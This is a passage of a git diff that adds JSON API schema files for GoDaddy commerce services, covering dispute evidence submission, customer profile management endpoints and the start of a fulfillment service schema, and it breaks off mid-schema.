"pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + }, + { + "name": "disputeDocumentId", + "in": "path", + "required": true, + "description": "Dispute Document unique identifier in the format of a URN with 'urn:doc:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:doc:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "204": { + "description": "No Content" + } + }, + "scopes": [ + "commerce.transaction-disputes:delete" + ] + }, + { + "operationId": "post_transaction_disputes_disputeId_submit", + "method": "POST", + "path": "/transaction-disputes/{disputeId}/submit", + "summary": "Submit evidence", + "description": "Submit dispute documents with dispute notes", + "requestBody": { + "required": true, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/dispute-notes.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Notes related to the dispute and associated documents.", + "properties": { + "disputeNote": { + "description": "A note providing additional context or information specifically about the dispute.", + "example": "Customer did not recognize the transaction, initiated dispute.", + "type": "string" + }, + "documentNote": { + "description": "A note pertaining to the documents linked to the dispute, summarizing their content or relevance.", + "example": "Transaction receipt and customer communication logs attached.", + "type": "string" + } + }, + "title": "DisputeNotes", + "type": "object" + } + }, + "responses": { + "200": { + "description": "Submit status", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/submit-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Submit Status", + "properties": { + "status": { + "description": "Indicate success by returning 'SUCCESS'", + "example": "SUCCESS", + "type": "string" + } + }, + "title": "SubmitResponse", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:update" + ] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/customer-profiles.json b/rust/schemas/api/customer-profiles.json new file mode 100644 index 0000000..eda95ad --- /dev/null +++ b/rust/schemas/api/customer-profiles.json @@ -0,0 +1,1420 @@ +{ + "name": "customer-profiles", + "title": "Customers API", + "description": "This API can be used to retrieve, create, update and delete customers as well as customer information.", + "version": "1.1.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "commerceCustomerCreateActivity", + "method": "POST", + "path": "/stores/{storeId}/customer-activities", + "summary": "Create customer activity", + "description": "This endpoint can be used to create an actvity for a specific customer using the store ID. Customer activities are the series of actions a customer can perform such as orders, bookings, and payments, which can be tracked for further analysis. Customer data will only be added when the customer does not yet exist.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "Activity and contact data", + "contentType": "application/json", + "schema": { + "properties": { + "activity": { + "description": "Data about the activity", + "properties": { + "source": { + "description": "Source application of the interaction", + "enum": [ + "COMMERCE", + "CONVERSATIONS", + "EMAIL_MARKETING", + "GDSOCIAL", + "GOPAY", + "INVOICE", + "POYNT", + "ONLINE_APPOINTMENTS", + "ONLINE_STORE", + "PAYMENTS", + "WEBSITE_BUILDER" + ], + "type": "string" + }, + "type": { + "description": "The type of activity to associate with the customer", + "enum": [ + "BOOKING_CLAIMED", + "BOOKING_CREATED", + "BOOKING_RESCHEDULED", + "ORDER_CREATED", + "PAYMENT_COMPLETED", + "PAYMENT_REFUNDED", + "PAYMENT_VOIDED" + ], + "type": "string" + } + }, + "required": [ + "source", + "type" + ], + "type": "object" + }, + "customer": { + "allOf": [ + { + "allOf": [ + { + "$ref": "#/components/schemas/CustomerId" + }, + { + "properties": { + "addresses": { + "default": [], + "description": "Array of customer addresses. Note that currently only one address is supported", + "items": { + "$ref": "#/components/schemas/Address" + }, + "maxLength": 10, + "type": "array" + }, + "emails": { + "default": [], + "description": "Array of email addresses", + "items": { + "$ref": "#/components/schemas/Email" + }, + "maxLength": 10, + "type": "array" + }, + "firstName": { + "example": "Fredrick", + "maxLength": 50, + "pattern": "^[\\u0080-\\uFFFFa-zA-Z0-9\\-.,\\(\\)\\@&' ]*$", + "type": "string" + }, + "instantMessages": { + "default": [], + "description": "Array of instant messaging accounts associated with the customer", + "items": { + "$ref": "#/components/schemas/InstantMessage" + }, + "maxLength": 10, + "type": "array" + }, + "jobTitle": { + "type": "string" + }, + "lastName": { + "example": "Smith", + "maxLength": 50, + "pattern": "^[\\u0080-\\uFFFFa-zA-Z0-9\\-.,\\(\\)\\@&' ]*$", + "type": "string" + }, + "nickname": { + "description": "Name by which customer should be addressed", + "example": "Fred", + "maxLength": 50, + "pattern": "^[\\u0080-\\uFFFFa-zA-Z0-9\\-.,\\(\\)\\@&' ]*$", + "type": "string" + }, + "organization": { + "example": "GoDaddy", + "format": "organization-name", + "maxLength": 100, + "pattern": "^[\\u0080-\\uFFFFa-zA-Z0-9\\-.,\\(\\)\\\\@&!' +]*$", + "type": "string" + }, + "phones": { + "default": [], + "description": "Array of phone numbers", + "items": { + "$ref": "#/components/schemas/Phone" + }, + "maxLength": 10, + "type": "array" + }, + "socialProfiles": { + "default": [], + "description": "Array of social profiles associated with the customer", + "items": { + "$ref": "#/components/schemas/SocialProfile" + }, + "maxLength": 10, + "type": "array" + }, + "urls": { + "default": [], + "description": "Array of urls associated with the customer", + "items": { + "$ref": "#/components/schemas/Url" + }, + "maxLength": 10, + "type": "array" + } + }, + "required": [ + "firstName", + "lastName", + "email", + "phone" + ], + "type": "object" + } + ] + }, + { + "properties": { + "externalIdentifier": { + "properties": { + "externalId": { + "description": "The external id for the customer in another service", + "maxLength": 255, + "type": "string" + }, + "source": { + "description": "The name of service from which the external id originates", + "example": "INVOICE", + "maxLength": 255, + "type": "string" + } + }, + "required": [ + "externalId", + "source" + ], + "type": "object" + } + }, + "type": "object" + }, + { + "properties": { + "listKeys": { + "description": "List memberships that should be changed for the customer", + "items": { + "format": "uuid", + "type": "string" + }, + "type": "array" + } + }, + "required": [ + "listKeys" + ] + } + ], + "description": "Customer data regarding the customer who performed the activity. Customer data will only be added when the customer does not yet exist.", + "type": "object" + } + }, + "required": [ + "activity", + "customer" + ], + "type": "object" + } + }, + "responses": { + "204": { + "description": "An activity for the given contact has been created" + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:create" + ] + }, + { + "operationId": "CommerceCustomerJoin", + "method": "POST", + "path": "/stores/{storeId}/customer-join", + "summary": "Join customers", + "description": "This endpoint can be used to combine two or more customers together to create a single customer. The customer with the most complete basic attributes such as name, organization, and job title will be selected as the primary customer, and any attributes from the other customers will be reverse merged into the primary customer.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "Customer IDs", + "contentType": "application/json", + "schema": { + "properties": { + "customerIds": { + "description": "Array of Customer IDs to join", + "items": { + "format": "uuid", + "type": "string" + }, + "maxItems": 50, + "minItems": 2, + "type": "array" + } + }, + "required": [ + "customerIds" + ], + "type": "object" + } + }, + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "202": { + "description": "A Join Customers action was successfully created", + "schema": { + "properties": { + "links": { + "items": { + "properties": { + "href": { + "type": "string" + }, + "method": { + "type": "string" + }, + "rel": { + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "links" + ], + "type": "object" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:update" + ] + }, + { + "operationId": "GetRequest", + "method": "GET", + "path": "/stores/{storeId}/customer-requests/{requestId}", + "summary": "Get customer request by ID", + "description": "This endpoint can be used to retrieve a customer request using the store and request ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "requestId", + "in": "path", + "required": true, + "description": "Request identifier", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "success", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/RequestId" + }, + { + "properties": { + "customerIds": { + "description": "IDs of the customer records affected - created or updated - by the request", + "items": { + "format": "uuid", + "type": "string" + }, + "type": "array" + }, + "errors": { + "items": { + "$ref": "#/components/schemas/CustomerError" + }, + "type": "array" + }, + "links": { + "description": "HATEOAS link relations", + "items": { + "$ref": "./common-types/v1/schemas/yaml/link-description.yaml" + }, + "type": "array" + }, + "status": { + "$ref": "#/components/schemas/ActionStatuses" + }, + "undoSupport": { + "description": "Whether or not the request can be undone automatically", + "type": "boolean" + } + }, + "required": [ + "status" + ], + "type": "object" + } + ] + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:create", + "commerce.customer:update" + ] + }, + { + "operationId": "CustomersList", + "method": "GET", + "path": "/stores/{storeId}/customers", + "summary": "Get customers", + "description": "This endpoint can be used to retrieve a list of customers for a specific store. Deleted customers are excluded by default.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "description": "The page of results to return for pagination. Only supported up to the first 10 000 records of a result set. Use pageToken rather than page where possible. PageToken and page can not be used in combination, doing so will result in a 422 response.", + "schema": { + "default": 1, + "format": "integer-positive", + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "Maximum number of items to return. If used with page will return results with an offset of page * pageSize", + "schema": { + "default": 25, + "format": "integer-positive", + "maximum": 500, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "Use the `pageToken` returned from a previous search in order to obtain the next set of results. Use pageToken rather than page where possible. PageToken and page can not be used in combination, doing so will result in a 422 response.", + "schema": { + "type": "string" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "description": "Indicates whether the response should include the total number of items and pages through response properties totalItems and totalPages respectively.", + "schema": { + "type": "boolean" + } + }, + { + "name": "queryString", + "in": "query", + "required": false, + "description": "Search term - this string will be matched as a starts with for all text fields", + "schema": { + "type": "string" + } + }, + { + "name": "nonEmptyFields", + "in": "query", + "required": false, + "description": "Filter customers by presence of at least one of these fields", + "schema": { + "items": { + "enum": [ + "EMAIL", + "FIRST_NAME", + "LAST_NAME", + "PHONE" + ], + "type": "string" + }, + "type": "array" + } + }, + { + "name": "emptyFields", + "in": "query", + "required": false, + "description": "Filter customers by absence of at least one of these fields", + "schema": { + "items": { + "enum": [ + "EMAIL", + "FIRST_NAME", + "LAST_NAME", + "PHONE" + ], + "type": "string" + }, + "type": "array" + } + }, + { + "name": "allNonEmptyFields", + "in": "query", + "required": false, + "description": "Filter customers by presence of all of these fields", + "schema": { + "items": { + "enum": [ + "EMAIL", + "FIRST_NAME", + "LAST_NAME", + "PHONE" + ], + "type": "string" + }, + "type": "array" + } + }, + { + "name": "allEmptyFields", + "in": "query", + "required": false, + "description": "Filter customers by absence of all of these fields", + "schema": { + "items": { + "enum": [ + "EMAIL", + "FIRST_NAME", + "LAST_NAME", + "PHONE" + ], + "type": "string" + }, + "type": "array" + } + }, + { + "name": "externalIdentifiers", + "in": "query", + "required": false, + "description": "Filter customers by external identifier; provide as comma separated values in the form `type:value` (eg: `poynt:123,asin:B0B9F7WNQH`)", + "schema": { + "items": { + "description": "External identifier type and value separated by a colon, eg `poynt:123`", + "type": "string" + }, + "type": "array" + } + }, + { + "name": "updatedAtStart", + "in": "query", + "required": false, + "description": "Filter customers whose updatedAt is >= the specified date", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "updatedAtEnd", + "in": "query", + "required": false, + "description": "Filter customers whose updatedAt is <= the specified date", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Request was successful", + "schema": { + "allOf": [ + { + "properties": { + "links": { + "description": "HATEOAS link relations", + "items": { + "$ref": "./common-types/v1/schemas/yaml/link-description.yaml" + }, + "type": "array" + }, + "totalItems": { + "description": "The total number of items in the full result set. Only returned if the `totalRequired` param is true", + "type": "integer" + }, + "totalPages": { + "description": "The total number of pages of results in the full result set. Only returned if the `totalRequired` param is true", + "type": "integer" + } + }, + "required": [ + "links" + ], + "type": "object" + }, + { + "properties": { + "customers": { + "description": "Array of customers", + "items": { + "allOf": [ + { + "$ref": "#/components/schemas/CustomerBase" + }, + { + "$ref": "#/components/schemas/UpdatedAt" + }, + { + "$ref": "#/components/schemas/ListKeys" + }, + { + "properties": { + "joined": { + "default": false, + "description": "Whether the customer has been joined with one or more other customers to create a single customer", + "type": "boolean" + }, + "orderCount": { + "description": "Number of orders the customer has made", + "minimum": 0, + "type": "integer" + }, + "paymentCount": { + "description": "Number of payments the customer has completed", + "minimum": 0, + "type": "integer" + }, + "profileImageUrl": { + "description": "Url of the profile images for the customer", + "format": "url", + "type": "string" + }, + "trackingDisabled": { + "default": false, + "description": "Whether the customer has opted out of tracking (eg. email opens and link clicks)", + "type": "boolean" + } + }, + "required": [ + "customerId" + ], + "type": "object" + } + ] + }, + "type": "array" + } + }, + "required": [ + "customers" + ], + "type": "object" + } + ] + } + } + }, + "scopes": [ + "commerce.customer:show" + ] + }, + { + "operationId": "CommerceCustomersCreate", + "method": "POST", + "path": "/stores/{storeId}/customers", + "summary": "Create a new customer", + "description": "This endpoint can be used to create or de-duplicate - using channel data - and merge into existing customer. If the provided channels differ from existing customer data, a new customer will be created. This endpoint will not remove any existing data and is additive in cases where merges occur.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "Customer data to import", + "contentType": "application/json", + "schema": { + "properties": { + "customer": { + "allOf": [ + { + "$ref": "#/components/schemas/CustomerBase" + }, + { + "$ref": "#/components/schemas/CustomerAdmin" + }, + { + "$ref": "#/components/schemas/CustomerExternalIdentifier" + }, + { + "$ref": "#/components/schemas/ListKeys" + } + ] + }, + "source": { + "$ref": "#/components/schemas/Source" + } + }, + "required": [ + "customer", + "source" + ], + "type": "object" + } + }, + "responses": { + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "202": { + "description": "A CUSTOMER_CREATE action was successfully created", + "schema": { + "properties": { + "links": { + "items": { + "properties": { + "href": { + "type": "string" + }, + "method": { + "type": "string" + }, + "rel": { + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "links" + ], + "type": "object" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:create" + ] + }, + { + "operationId": "FetchCustomer", + "method": "GET", + "path": "/stores/{storeId}/customers/{customerId}", + "summary": "Get customer by ID", + "description": "Retrieve the information of a single customer using the store and customer IDs.", + "parameters": [ + { + "name": "customerId", + "in": "path", + "required": true, + "description": "The id of the specific customer", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/CustomerBase" + }, + { + "$ref": "#/components/schemas/UpdatedAt" + }, + { + "$ref": "#/components/schemas/ListKeys" + }, + { + "properties": { + "joined": { + "default": false, + "description": "Whether the customer has been joined with one or more other customers to create a single customer", + "type": "boolean" + }, + "orderCount": { + "description": "Number of orders the customer has made", + "minimum": 0, + "type": "integer" + }, + "paymentCount": { + "description": "Number of payments the customer has completed", + "minimum": 0, + "type": "integer" + }, + "profileImageUrl": { + "description": "Url of the profile images for the customer", + "format": "url", + "type": "string" + }, + "trackingDisabled": { + "default": false, + "description": "Whether the customer has opted out of tracking (eg. email opens and link clicks)", + "type": "boolean" + } + }, + "required": [ + "customerId" + ], + "type": "object" + } + ] + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:read" + ] + }, + { + "operationId": "CommerceCustomersUpdate", + "method": "PATCH", + "path": "/stores/{storeId}/customers/{customerId}", + "summary": "Update customer", + "description": "This endpoint can be used to update the information of a specific customer using the store and customer ID.", + "parameters": [ + { + "name": "customerId", + "in": "path", + "required": true, + "description": "The id of the specific customer", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "Customer data to import", + "contentType": "application/json", + "schema": { + "properties": { + "customer": { + "allOf": [ + { + "$ref": "#/components/schemas/CustomerBase" + }, + { + "$ref": "#/components/schemas/CustomerAdmin" + }, + { + "$ref": "#/components/schemas/CustomerExternalIdentifier" + }, + { + "$ref": "#/components/schemas/ListKeys" + }, + { + "$ref": "#/components/schemas/UpdatedAt" + } + ] + }, + "source": { + "$ref": "#/components/schemas/Source" + } + }, + "required": [ + "customer", + "source" + ], + "type": "object" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "202": { + "description": "A CUSTOMER_UPDATE action was successfully created", + "schema": { + "properties": { + "links": { + "items": { + "properties": { + "href": { + "type": "string" + }, + "method": { + "type": "string" + }, + "rel": { + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "links" + ], + "type": "object" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:update" + ] + }, + { + "operationId": "DeleteCustomer", + "method": "DELETE", + "path": "/stores/{storeId}/customers/{customerId}", + "summary": "Delete customer by ID", + "description": "Delete the information a single customer using the store and customer IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "customerId", + "in": "path", + "required": true, + "description": "The id of the specific customer", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "202": { + "description": "A Delete action was successfully created", + "schema": { + "properties": { + "links": { + "items": { + "properties": { + "href": { + "type": "string" + }, + "method": { + "type": "string" + }, + "rel": { + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "links" + ], + "type": "object" + } + } + }, + "scopes": [ + "commerce.customer:update" + ] + }, + { + "operationId": "CommerceCustomerUnjoin", + "method": "POST", + "path": "/stores/{storeId}/customers/{customerId}/customer-unjoin", + "summary": "Separate joined customers", + "description": "This endpoint can be used to undo all previous customer joins for a specific customer. Previously joined customers will now be available as individual customers.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "An identifier for a store", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "customerId", + "in": "path", + "required": true, + "description": "The id of the specific customer", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "429": { + "description": "Too many requests received within interval", + "schema": { + "$ref": "#/components/schemas/ErrorLimit" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "202": { + "description": "An Unjoin Customers action was successfully created", + "schema": { + "properties": { + "links": { + "items": { + "properties": { + "href": { + "type": "string" + }, + "method": { + "type": "string" + }, + "rel": { + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "links" + ], + "type": "object" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.customer:update" + ] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/fulfillments.json b/rust/schemas/api/fulfillments.json new file mode 100644 index 0000000..18f541f --- /dev/null +++ b/rust/schemas/api/fulfillments.json @@ -0,0 +1,2224 @@ +{ + "name": "fulfillments", + "title": "Fulfillment Service", + "description": "The Fulfillment API is intended to be a key component of the Sell Everywhere Engine, our next-generation ecommerce system that will consolidate functionality between Online Store, Sellbrite, Woo, and Poynt.", + "version": "1.1.0", + "baseUrl": "https://fulfillment.api.commerce.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "commerce.fulfillmentPlans.query", + "method": "GET", + "path": "/stores/{storeId}/fulfillmentPlans", + "summary": "Retrieve and filter fulfillments", + "description": "Retrieve all fulfillment plans filtered by the criteria provided", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/FulfillmentPlan.yaml#/properties/storeId" + } + }, + { + "name": "orderId", + "in": "query", + "required": true, + "description": "Order ID", + "schema": { + "$ref": "./models/FulfillmentPlan.yaml#/properties/orderId" + } + }, + { + "name": "includeFulfillments", + "in": "query", + "required": false, + "description": "Determines if the response contains fulfillments associated with the fulfillment plans", + "schema": { + "default": true, + "description": "Determines if fulfillments should be returned alongs fulfillment plans", + "type": "boolean" + } + } + ], + "responses": { + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully listed fulfillment plans", + "schema": { + "properties": { + "fulfillmentPlans": { + "description": "List of fulfillment plans", + "items": { + "allOf": [ + { + "$ref": "./models/FulfillmentPlan.yaml" + }, + { + "properties": { + "fulfillments": { + "description": "List of fulfillments associated to the fulfillment plan", + "items": { + "$ref": "./models/Fulfillment.yaml" + }, + "type": "array" + } + }, + "type": "object" + } + ] + }, + "type": "array" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "fulfillmentPlans" + ], + "type": "object" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [] + }, + { + "operationId": "commerce.fulfillments.create", + "method": "POST", + "path": "/stores/{storeId}/fulfillments", + "summary": "Create a new fulfillment", + "description": "Create a new fulfillment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/FulfillmentPlan.yaml#/properties/storeId" + } + } + ], + "requestBody": { + "required": true, + "description": "The fulfillment object to create", + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-conditionals.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A fulfillment represents a task to fulfill one or more items from a single location for a single fulfillment mode. A Fulfillment can exist in the context of an order or be independent of one.", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in 